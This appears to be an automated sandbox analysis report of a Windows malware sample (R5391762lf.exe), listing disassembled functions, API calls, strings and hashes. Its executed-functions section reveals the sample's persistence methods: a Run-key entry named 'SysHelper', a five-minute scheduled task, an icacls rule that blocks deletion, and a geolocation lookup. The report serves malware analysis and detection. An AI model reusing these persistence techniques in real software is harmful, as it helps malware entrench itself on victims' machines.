API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 9c8f3c117329a921a371aafe045dfadb9395221032bb4451b40825aacf906fc4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: FB314C36B243156BFB226F649D08B6E3B5DAF05B24F102459EB85DB2C0DF74C90283A1

Uniqueness

Uniqueness Score: -1.00%

Function 05F666D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05F666DD

Part of subcall function 05EC59BF: __calloc_crt.LIBCMT ref: 05EC59E2
Part of subcall function 05EC59BF: __initptd.LIBCMT ref: 05EC5A04

__calloc_crt.LIBCMT ref: 05F66700
__get_sys_err_msg.LIBCMT ref: 05F6671E
__invoke_watson.LIBCMT ref: 05F6673B
__get_sys_err_msg.LIBCMT ref: 05F6676D
__invoke_watson.LIBCMT ref: 05F6678B

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: febf86350da8e0ba0bc5be792421b67f9230f055419a38343f415b0f24cee007
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: C011E732B002147BEB217B25ED08E7B778DEF01761F0008AAFD48EA240EF2ADD0142D6

Uniqueness

Uniqueness Score: -1.00%

Function 05EB2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EB26DB
_memset.LIBCMT ref: 05EB2A30
_memset.LIBCMT ref: 05EB2AC0

Strings

D, xrefs: 05EB2AC8

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 5a70d594d53720076cd6f40ae2c4a6f2bcfc2d111eea602d95946a53f8515f68
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 52E19E75D00219ABEF24DFA0CD89FEFBBB8BF04305F0440A9E649A6190EB749A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05EAD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EAD8EA

Strings

(, xrefs: 05EADAE9
$, xrefs: 05EADAE2
, xrefs: 05EADADB

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 029761196161124826a624a073a31433a270947fcc92813a4e9561772055ad3b
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: AD91CF71D00258ABEF21CFA0CD49BEEBBB5BF05304F1450A8D5957B2C0DBB66A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05EC5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 05EC5CF4

Strings

U, xrefs: 05EC5CFD

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 3e776582a70e0ce56f56e540c7d7935ac7bc8e4b2b59c71f8abed3721ec37c5e
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: B3210B723083086AEB14DBA49D49FBB7B9DEB44261F5011EEF989C6190FB70FD4246A4

Uniqueness

Uniqueness Score: -1.00%

Function 05EBA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EBA858
_memset.LIBCMT ref: 05EBA869
_memset.LIBCMT ref: 05EBA87A

Strings

p2Q, xrefs: 05EBA882

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 3c099fa85d60edbd67e22df8165b1747595ce01f22e6f5560bb51bc35655ca05
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 8BF06D78688750A5F7217750BC2BB853E847B31B08F404088E1582E2E0D3FD638DA39A

Uniqueness

Uniqueness Score: -1.00%

Function 05EEFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EEFBF1

Part of subcall function 05ED169C: std::exception::_Copy_str.LIBCMT ref: 05ED16B5

__CxxThrowException@8.LIBCMT ref: 05EEFC06

Strings

TeM, xrefs: 05EEFBFE
TeM, xrefs: 05EEFBE7, 05EEFBFB

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 5711d3507830e459d8c6eb4e7eb444f71672516e2ee904ba59801f41f1387606
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 00D06779D0020CBBCB04EFA5E459CDDBBB8AA04344B008466A95497241EB74A34ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 05EAD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05EC197D: __wfsopen.LIBCMT ref: 05EC1988

_fgetws.LIBCMT ref: 05EAD15C

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: d751557229375767b5626af4355d37b258dd02c5633b722ffe9339a22efb7293
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: FA91C572D00319ABDF20DFA4CE44BEEB7B5BF04304F141569D895A7640E775BA08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05EAD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05EAD77E
_malloc.LIBCMT ref: 05EAD7B2
_malloc.LIBCMT ref: 05EAD7C1
_fprintf.LIBCMT ref: 05EAD815

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 65a057673506e208e4b6c89d062780deb351e76c1e2e80620fac3e65479727e4
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: D2A19EB1D00248EBEF11EFA4CD49BDEBF71AF14304F141068D5857B291E7B69A48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05EC2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05EC2B2E
__read_nolock.LIBCMT ref: 05EC2BFE
__filbuf.LIBCMT ref: 05EC2C21
_memset.LIBCMT ref: 05EC2C65

Part of subcall function 05EC5BA8: __getptd_noexit.LIBCMT ref: 05EC5BA8

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: b6ed052e9c2f3cd162535a62015f436fbda336758f93ef3822eeb3bc285e9b7c
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 1D51C878B043059BEB24CF698A849AE7FB6BF40324F1493ADE9F5962D0D770D952CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05EE1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05EE137D

Part of subcall function 05EE1A9D: __fltout2.LIBCMT ref: 05EE1AC6

__cftog_l.LIBCMT ref: 05EE13A3
__cftoe_l.LIBCMT ref: 05EE13D5

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 5b6840349d64a37ba8d11ab9425dbd9523b1185bd635639f98a1e73ac0ef246a
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 5A01493281414EFBCF1A5E84DC05CEE3F63BB19355B4AA515FA9958830D336C9B2EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05F67A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05F67A4B

Part of subcall function 05F68140: ___BuildCatchObjectHelper.LIBCMT ref: 05F68172
Part of subcall function 05F68140: ___AdjustPointer.LIBCMT ref: 05F68189

_UnwindNestedFrames.LIBCMT ref: 05F67A62
___FrameUnwindToState.LIBCMT ref: 05F67A74
CallCatchBlock.LIBCMT ref: 05F67A98

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 55292ef094992a99750390b715fe20cd98a147d154d05e58bd49c7672f4eebf2
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 74012936500109BBDF12AF55CC04EDB3BBAFF48758F148018FD1866120C33AE961DBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: R5391762lf.exePID: 7360, Parent PID: 7304COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.5%
Total number of Nodes:	821
Total number of Limit Nodes:	95

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0063B3F8,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

IsAutoStart, xrefs: 0041A1D0, 0041A273
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
x2Q, xrefs: 0041A856
%username%, xrefs: 0041B283
--Service, xrefs: 0041A30B
IsNotTask, xrefs: 0041A654
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
--ForNetRes, xrefs: 0041A22E
D:\Program Files\Google\, xrefs: 0041B0EE
IsNotAutoStart, xrefs: 0041A645
D:\Program Files (x86)\Google\, xrefs: 0041B085
--Task, xrefs: 0041A2CD
D:\Windows\, xrefs: 0041AFF3
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--AutoStart, xrefs: 0041A2EC
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
<, xrefs: 0041A67B
runas, xrefs: 0041A6CE
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files\Google\, xrefs: 0041AFB9
x*P, xrefs: 0041ACE4
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
F:\, xrefs: 0041B397
--Admin, xrefs: 0041A1B4, 0041A632
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
IsTask, xrefs: 0041A1EE, 0041A299
C:\Windows\, xrefs: 0041AE0F
7P, xrefs: 0041B164
I:\5d2860c89d774.jpg, xrefs: 0041B32F
list<T> too long, xrefs: 0041B669, 0041B673
X1P, xrefs: 0041A485
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 4e221e8b1982176b129b84ba1772514faea9ee7e5f90ab573b61b5d7e00e66e5
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 4e221e8b1982176b129b84ba1772514faea9ee7e5f90ab573b61b5d7e00e66e5
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Author Name, xrefs: 0040D4C8
2030-05-02T08:00:00, xrefs: 0040D737
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA
Time Trigger Task, xrefs: 0040D43C, 0040D973
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
--Task, xrefs: 0040D8DD

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 1efdfb11a844a203d08e0e4f145d5e08f1aaf2256242cf998cfb11f6b568d62b
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 1efdfb11a844a203d08e0e4f145d5e08f1aaf2256242cf998cfb11f6b568d62b
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC
kernel32.dll, xrefs: 0041224E
Psapi.dll, xrefs: 0041228C

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: dbd7b7030c2563d0bba2431fd1a5fbef27bdcf180177bf6ef3c780b563408933
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: dbd7b7030c2563d0bba2431fd1a5fbef27bdcf180177bf6ef3c780b563408933
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

D, xrefs: 00412128
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
Shell32.dll, xrefs: 00411E94
SHGetFolderPathW, xrefs: 00411E9F
" --AutoStart, xrefs: 00411DD1
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 004120C2
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: af0f6280857ed183423fa55c0dfc78c3cec959b41519de90f528b9b2836446d1
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: af0f6280857ed183423fa55c0dfc78c3cec959b41519de90f528b9b2836446d1
